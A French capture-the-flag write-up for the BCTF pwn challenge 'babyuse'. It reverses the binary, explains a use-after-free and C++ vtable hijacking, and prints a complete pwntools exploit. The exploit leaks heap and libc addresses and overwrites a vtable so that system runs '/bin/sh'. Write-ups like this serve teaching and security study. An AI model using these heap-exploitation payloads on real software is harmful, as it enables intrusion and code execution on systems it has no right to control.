Babyuse

Le BCTF est une compétition type Capture The Flag au format Jeopardy présenté par la team blue-lotus. La compétition est ouverte au monde entier. C’est aussi une épreuve de qualification à la 3ième édition de la XCTF International League. L’article suivant détaille le challenge de type pwn nommé babyuse.

Sommaire

  • État des lieux
  • Reverse
  • Le concept
  • La pratique

État des lieux

Ce challenge est sous la forme d’un binaire à exploiter, seul le programme compilé et la libc utilisée étaient fournis.

On identifie le type de fichier avec la commande file. C’est un fichier exécutable en 32 bits pour Linux.

$ file babyuse
babyuse: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=897603a8713730f381d8e1089aa6522b3719fc33, stripped

Lorsqu’on lance le programme, celui-ci propose un menu pour gérer des armes.

$ ./babyuse
Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit
1
Notice: You can only have up to 4 guns.
Choose a gun to add:
1. QSZ92
2. QBZ95
1
Lenth of name:
10
Input name:
Coucou
succeed.
Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit
6
Choose a gun to delete:
0
Deleted
Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit
5
Select gun 
1. Shoot
2. Reload
3. Info
4. Main menu
1
Erreur de segmentation

On s’aperçoit que lorsqu’on supprime l’arme, on peut toujours l’utiliser, ce qui provoque une erreur de segmentation. C’est une vulnérabilité de type “Use after free” d’où le nom babyuse. Mais la pile n’est pas exécutable, l’ASLR est activé et le binaire a été compilé en PIE (Position Independant Executable). Donc on ne peut pas exécuter de shellcode. L’ASLR charge les bibliothèques à des adresses aléatoires , et l’option PIE permet de charger le programme à une adresse aléatoire (différente à chaque exécution) ce qui complique grandement les exploitations de type ret2libc ou ROP (Return Oriented Programming).

Reverse

La fonction main

Pour comprendre ce qu’il se passe à l’intérieur nous allons reverser le programme avec IDA Pro. On retrouve la fonction main qui gère le menu (Chaque bloc correspondant à un choix dans le menu):

Création d’un pistolet

On va s’intéresser à la création des armes,

Avant de rajouter une arme, le programme vérifie qu’il y a une place libre grâce à un tableau de booléens guns_boolean_used. Ensuite on trouve deux morceaux de code presque identiques.

Il y a deux types d’arme donc deux constructions différentes ;). Pour terminer le programme stocke la référence de l’objet dans une case du tableau guns_list et 1 (True) dans une case du tableau guns_boolean_used. Voir le code ci-dessus :

Suppression d’un pistolet

Lorsqu’on supprime une arme, le programme atteint la routine suivante si l’arme n’a pas déjà été supprimée.

Le programme libère le bloc alloué précédemment contenant le nom de l’arme. Ensuite il appelle delete sur l’objet représentant l’arme. Le tableau *guns_boolean_used

  • est mis à jour en conséquence mais, le pointeur vers l’objet dans le tableau guns_list est toujours présent. Il pointe désormais sur une zone libre dans le tas.
Utilisation d’un pistolet

Lorsqu’on utilise un pistolet, le programme utilise une variable statique contenant l’indice du pistolet dans le tableau.

Si le choix utilisateur est valide l’exécution continue dans un des 3 blocs suivants :

Petit rappel sur les objets en C++, prenons l’exemple suivant :

class A{
public:
  virtual void f() {}
  int int_in_A;
};

Lorsqu’on réalise un nouvel objet sa structure est allouée sur le tas, l’objet A sera représenté de la manière suivante :

Le pointeur vfptr pointe sur la table des méthodes virtuelles (vtable) de l’objet, c’est dans cette table que sont stockées les adresses des méthodes d’un objet A. Tous les objets A auront un attribut vfptr qui pointera vers cette vtable.

Dans babyuse il y a deux classes pour représenter des armes donc deux vtable différentes. Ces deux vtables contiennent les pointeurs vers les méthodes gun_shot, gun_reload, gun_info (les méthodes étant différentes selon le type d’arme).

Observons les lignes de code suivantes dans la fonction guns_reload,

mov eax,[ebp + selected_gun] ; eax pointe vers l'objet en question
mov eax,[eax]                ; récupération du pointeur vers la vtable (Table des méthodes virtuelles) 
add eax,4                    ; adresse du pointeur vers la deuxième méthode ( taille d'un pointeur 4 octets)
mov eax,[eax]                ; récupération du pointeur vers la méthode
sub esp,0x0Ch
push [ebp+selected_gun]      ; on met le pointeur vers l'objet en paramètre 
call eax                     ; on appelle sa méthode (gun_reload)

Le Concept

A chaque création d’arme le programme réserve deux espaces mémoire dans le tas, un qui va contenir la structure de l’objet, et un autre qui contient son nom. On va commencer par créer deux armes à la suite, voici la représentation des objets dans le tas

L’idée est de libérer le 2ième objet gun puis de renommer le premier objet pour qu’il écrase les données du deuxième objet gun. On contrôlera ainsi le pointeur vfptr que l’on fera pointer sur une vtable construite par nos soins ;).

La pratique

Je réalise une classe python pour wrapper toutes les options du menu,

#!/usr/bin/env python

from pwn import *

class ProcessGun:
	GUN_SHOT=1
	GUN_RELOAD=2
	GUN_INFO=3
	GUN_QUIT=4
	def __init__(self,p):
		self.p = p

	def send_token(self):
		self.p.send("8H8Qzizi52VobSMzq6rxknwijMHeWaip\n")
		self.p.recv()

	def create_gun(self,name_length,name):
		print("[+] create gun")
		self.p.send("1\n") # Buy a Gun
		self.p.send("1\n") # Choose QSZ92
		self.p.send("%d\n" % name_length) # Length of name
		self.p.send("%s\n" % name) # Name
		self.p.recv() # Menu

	def rename_gun(self,gun_id,name_length,name):
		print("[+] rename gun")
		self.p.send("4\n")
		self.p.send("%d\n" % gun_id)
		self.p.send("%d\n" % name_length)
		self.p.send("%s\n" % name)
		self.p.recv()

	def delete_gun(self,gun_id):
		print("[+] delete gun")
		self.p.send("6\n")
		self.p.send("%d\n" % gun_id)
		self.p.recv()

	def select_gun(self,gun_id):
		print("[+] select gun")
		self.p.send("2\n")
		self.p.send("%d\n" % gun_id)
		print(self.p.recv())

	def use_gun(self,func_id):
		print("[+] use gun")
		self.p.send("5\n")
		line = self.p.recvline()
		while "Select gun" not in line:
			line = self.p.recvline()
		print("[+] text leaked %s" % line)
		leak = line[len("Select gun "):len(line) - 1]
		leak = u32(leak[0:4])
		print("[+] leak %x" % leak)
		self.p.send("%d\n" % func_id)
		self.p.recv()
		return leak

Ensuite il va falloir leak quelque chose pour que l’on puisse calculer l’adresse de system. Je crée 3 armes, et je sélectionne la 3ième.

Je vais placer un breakpoint ( de manière relative b* main-0x348) dans le code de la création des armes, pour examiner le tas après la création des armes :

 [----------------------------------registers-----------------------------------]
EAX: 0x2 
EBX: 0x57a82a60 --> 0x5659ad30 --> 0x5659a590 (push   ebp)
ECX: 0xfbad0087 
EDX: 0x57a82a60 --> 0x5659ad30 --> 0x5659a590 (push   ebp)
ESI: 0x1 
EDI: 0xf7522000 --> 0x1b2db0 
EBP: 0xfffb8b18 --> 0xfffb8b38 --> 0x0 
ESP: 0xfffb8b00 --> 0x0 
EIP: 0x5659a0cb (mov    DWORD PTR [eax*4+0x5659d08c],edx)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5659a0c2:	add    esp,0x10
   0x5659a0c5:	mov    eax,DWORD PTR [ebp-0x10]
   0x5659a0c8:	mov    edx,DWORD PTR [ebp-0x14]
=> 0x5659a0cb:	mov    DWORD PTR [eax*4+0x5659d08c],edx
   0x5659a0d2:	mov    eax,DWORD PTR [ebp-0x10]
   0x5659a0d5:	mov    DWORD PTR [eax*4+0x5659d09c],0x1
   0x5659a0e0:	jmp    0x5659a0fb
   0x5659a0e2:	add    DWORD PTR [ebp-0x10],0x1
[------------------------------------stack-------------------------------------]
0000| 0xfffb8b00 --> 0x0 
0004| 0xfffb8b04 --> 0x57a82a60 --> 0x5659ad30 --> 0x5659a590 (push   ebp)
0008| 0xfffb8b08 --> 0x2 
0012| 0xfffb8b0c --> 0x1 
0016| 0xfffb8b10 --> 0x5659ac75 ("Wrong input")
0020| 0xfffb8b14 --> 0x0 
0024| 0xfffb8b18 --> 0xfffb8b38 --> 0x0 
0028| 0xfffb8b1c --> 0x5659a455 (<main+66>:	jmp    0x5659a491 <main+126>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x5659a0cb in ?? ()
gdb-peda$ x/80xw 0x57a82a10
0x57a82a10:	0x5659ad30	0x57a82a28	0x0000000f	0x0000000f
0x57a82a20:	0x00000000	0x00000011	0x00010101	0x00000000
0x57a82a30:	0x00000000	0x00000019	0x5659ad30	0x57a82a50
0x57a82a40:	0x0000000f	0x0000000f	0x00000000	0x00000011
0x57a82a50:	0x00020202	0x00000000	0x00000000	0x00000019
0x57a82a60:	0x5659ad30	0x57a82a78	0x0000000f	0x0000000f
0x57a82a70:	0x00000000	0x00000011	0x00030303	0x00000000

On retrouve nos 3 objets respectivement stockés aux adresses 0x57a82a10,0x57a82a38 et 0x57a82a60. Et leurs noms aux adresses 0x57a82a28 ("\x01\01\x01"),0x57a82a50 ("\x02\x02\x02") et 0x57a82a78 ("\x03\x03\x03").

Je libère les 2 dernières armes, et je renomme la première. L’attribut gun_name de la 3ième arme pointe encore sur son ancien chunk.

Les blocs libres qui ont une taille de 16 à 80 octets sont référencés grâce à une liste chaînée, chaque bloc libre contient un pointeur vers le bloc libre suivant (voir les structures fastbins dans les références). Et il se trouve que l’attribut gun_name de l’objet n°3 (à la fin des opérations) pointe sur un de ces pointeurs.

On peut le remarquer en plaçant un breakpoint dans le code de la destruction des armes (b* main-0x203). Lorsqu’on examine l’objet 3, *gun_name* vaut toujours 0x57a82a78, mais à cette adresse, le nom (0x00030303) a été remplacé par 0x57a82a48. La fonction use affiche le nom de l’objet, donc en utilisant cette fonction avec l’arme 3 elle va afficher la chaîne en 0x57a82a78 soit les caractères correspondant à 0x57a82a48.

0x57a82a60:	0x57a82a30	0x57a82a78	0x0000000f	0x0000000f
0x57a82a70:	0x00000000	0x00000011	0x57a82a48	0x00000000

A partir de cette adresse, je peux calculer l’adresse de l’arme n°1 dans le tas ( il suffit de soustraire 0x38 octets) .

p = process(["./babyuse"])
print("Process id %d" % p.pid)
p.recv()

pg = ProcessGun(p)

raw_input()
pg.create_gun(4,"\x01\x01\x01\n") # 0
pg.create_gun(4,"\x02\x02\x02\n") # 1
pg.create_gun(4,"\x03\x03\x03\n") # 2

pg.select_gun(2)

pg.delete_gun(1)
pg.delete_gun(2)

# 3 * 10
pg.rename_gun(0,0x1000,"A"*(1*10)+"\n")

leak_my_data = pg.use_gun(ProcessGun.GUN_QUIT)

print("[+] offset to vtable %x" % (leak_my_data + OFFSET_VTABLE))


print("[+] offset to vtable %x" % (leak_my_data + OFFSET_VTABLE))

Pour leaker l’adresse de la vtable de l’objet n°1, on peut écraser l’adresse de l’ancien nom de l’objet n°3 par l’adresse de l’objet n°1.

Comme l’opération rename alloue le bloc contenant le nouveau nom avant de libérer l’ancien bloc. Je suis obligé de faire deux rename, le premier rename sert à désallouer le bloc précédent. Lorsque je vais réaliser un nouveau rename, le nom va se placer dans bloc précédemment désallouer. Cela me permet d’allouer un bloc (et d’y placer mes données) toujours à la même adresse.

Je rempli le nom de A pour atteindre le l’objet 3, je place “FAKE” comme adresse de vtable pour l’instant puis l’adresse de l’objet n°1. J’appelle use_gun pour que le programme affiche l’adresse de la vtable de l’objet n°1.

pg.rename_gun(0,0x1,"X"+"\n")
pg.rename_gun(0,0x1000,"A"*(4*10)+"FAKE"+p32(leak_my_data + OFFSET_VTABLE)+"\n")

leak_vtable = pg.use_gun(ProcessGun.GUN_QUIT)
print("[+] leak vtable %x" % leak_vtable)

Maintenant que je connaît l’adresse de la vtable je leak l’adresse de la fonction gun_shot, ce qui me permettras d’aller chercher des informations dans la section .text .

pg.rename_gun(0,0x1,"X"+"\n")
pg.rename_gun(0,0x1000,"A"*(4*10)+"FAKE"+p32(leak_vtable)+"\n")

leak_gun_shot = pg.use_gun(ProcessGun.GUN_QUIT)
print("[+] leak_gun_shot %x" % leak_gun_shot)

Avec cette adresse vers la section .text on peut récupérer les octets qui compose l’instruction call puts se trouvant dans le binaire. L’instruction call est composé de 5 octets dont 4 qui compose l’offset entre instruction courante (call) et la fonction à appeler. Avec cet offset on peut calculer l’adresse de la fonction appelé.

# leak call puts
pg.rename_gun(0,0x1,"X\n")
pg.rename_gun(0,0x1000,"A"*(4*10)+"FAKE"+p32(leak_gun_shot+0x19)+"\n")

leak_call_puts = pg.use_gun(ProcessGun.GUN_QUIT)

print("[+] leak call_puts %x" % leak_call_puts)

leak_puts = leak_gun_shot + 0x18 + leak_call_puts + 5
print("[+] leak puts %x" % leak_puts)

Avec l’outil libc-database je retrouve les offsets de puts et system, ce qui me permet de calculer l’adresse de system.

libc_base = leak_puts - OFFSET2LIBC
system = libc_base + OFFSET_SYSTEM
print("[+] libc base %x" % libc_base)
print("[+] system offset %x" % system)

Je prépare ensuite une fausse vtable contenant l’adresse de system. Je vais me servir du premier pointeur leak_my_data une deuxième fois car il pointe aussi sur nos données. Je remplace le pointeur de la vtable par le mien, je fait pointer le nom vers un endroit valide par exemple sur la vtable que je vient de construire soit leak_my_data. Maintenant petit tricks pour faire exécuter /bin/sh par sh, rappelons-nous le seul argument passer à gun_shot est l’adresse de l’objet. A cette adresse on trouve notre pointeur leak_my_data(2 fois), je peux rajouter derrière la chaîne “&/bin/sh” car system interprète le contenu de notre objet comme une chaîne. Ce qui donneras le payload suivant “********&/bin/sh” (les étoiles représentant les octets formant l’adresse leak_my_data de ux fois)

pg.rename_gun(0,0x1,"X"+"\n")
pg.rename_gun(0,0x1000,p32(system)*10+p32(leak_my_data)+p32(leak_my_data)+"&/bin/sh"+"\n")

pg.use_gun(ProcessGun.GUN_SHOT)

Et Paf un shell :P ,

Et voici le code complet de l’exploit,

#!/usr/bin/env python

from pwn import *

class ProcessGun:
	GUN_SHOT=1
	GUN_RELOAD=2
	GUN_INFO=3
	GUN_QUIT=4
	def __init__(self,p):
		self.p = p
	def create_gun(self,name_length,name):
		print("[+] create gun")
		self.p.send("1\n") # Buy a Gun
		self.p.send("1\n") # Choose QSZ92
		self.p.send("%d\n" % name_length) # Length of name
		self.p.send("%s\n" % name) # Name
		self.p.recv() # Menu

	def rename_gun(self,gun_id,name_length,name):
		print("[+] rename gun")
		self.p.send("4\n")
		self.p.send("%d\n" % gun_id)
		self.p.send("%d\n" % name_length)
		self.p.send("%s\n" % name)
		self.p.recv()

	def delete_gun(self,gun_id):
		print("[+] delete gun")
		self.p.send("6\n")
		self.p.send("%d\n" % gun_id)
		self.p.recv()

	def select_gun(self,gun_id):
		print("[+] select gun")
		self.p.send("2\n")
		self.p.send("%d\n" % gun_id)
		print(self.p.recv())

	def use_gun(self,func_id):
		print("[+] use gun")
		self.p.send("5\n")
		line = self.p.recvline()
		while "Select gun" not in line:
			line = self.p.recvline()
		print("[+] text leaked %s" % line)
		leak = line[len("Select gun "):len(line) - 1]
		leak = u32(leak[0:4])
		print("[+] leak %x" % leak)
		self.p.send("%d\n" % func_id)
		self.p.recv()
		return leak

OFFSET_SYSTEM = 0x0003ab30 # local
OFFSET2LIBC   = 0x0005f870 # local
OFFSET_VTABLE = -0x38
OFFSET_CXA_PURE_VIRTUAL=6*4

p = process(["./babyuse"])
print("Process id %d" % p.pid)
p.recv()

pg = ProcessGun(p)

raw_input()
pg.create_gun(4,"\x01\x01\x01\n") # 0
pg.create_gun(4,"\x02\x02\x02\n") # 1
pg.create_gun(4,"\x03\x03\x03\n") # 2

pg.select_gun(2)

pg.delete_gun(1)
pg.delete_gun(2)

# 3 * 10
pg.rename_gun(0,0x1000,"A"*(1*10)+"\n")

leak_my_data = pg.use_gun(ProcessGun.GUN_QUIT)

print("[+] offset to vtable %x" % (leak_my_data + OFFSET_VTABLE))

pg.rename_gun(0,0x1,"X"+"\n")
pg.rename_gun(0,0x1000,"A"*(4*10)+"FAKE"+p32(leak_my_data + OFFSET_VTABLE)+"\n")

leak_vtable = pg.use_gun(ProcessGun.GUN_QUIT)
print("[+] leak vtable %x" % leak_vtable)

pg.rename_gun(0,0x1,"X"+"\n")
pg.rename_gun(0,0x1000,"A"*(4*10)+"FAKE"+p32(leak_vtable)+"\n")

leak_gun_shot = pg.use_gun(ProcessGun.GUN_QUIT)
print("[+] leak_gun_shot %x" % leak_gun_shot)

# leak call puts
pg.rename_gun(0,0x1,"X\n")
pg.rename_gun(0,0x1000,"A"*(4*10)+"FAKE"+p32(leak_gun_shot+0x19)+"\n")

leak_call_puts = pg.use_gun(ProcessGun.GUN_QUIT)

print("[+] leak call_puts %x" % leak_call_puts)

leak_puts = leak_gun_shot + 0x18 + leak_call_puts + 5
print("[+] leak puts %x" % leak_puts)
libc_base = leak_puts - OFFSET2LIBC
system = libc_base + OFFSET_SYSTEM
print("[+] libc base %x" % libc_base)
print("[+] system offset %x" % system)

pg.rename_gun(0,0x1,"X"+"\n")
pg.rename_gun(0,0x1000,p32(system)*10+p32(leak_my_data)+p32(leak_my_data)+"&/bin/sh"+"\n")

pg.use_gun(ProcessGun.GUN_SHOT)
p.interactive()

Références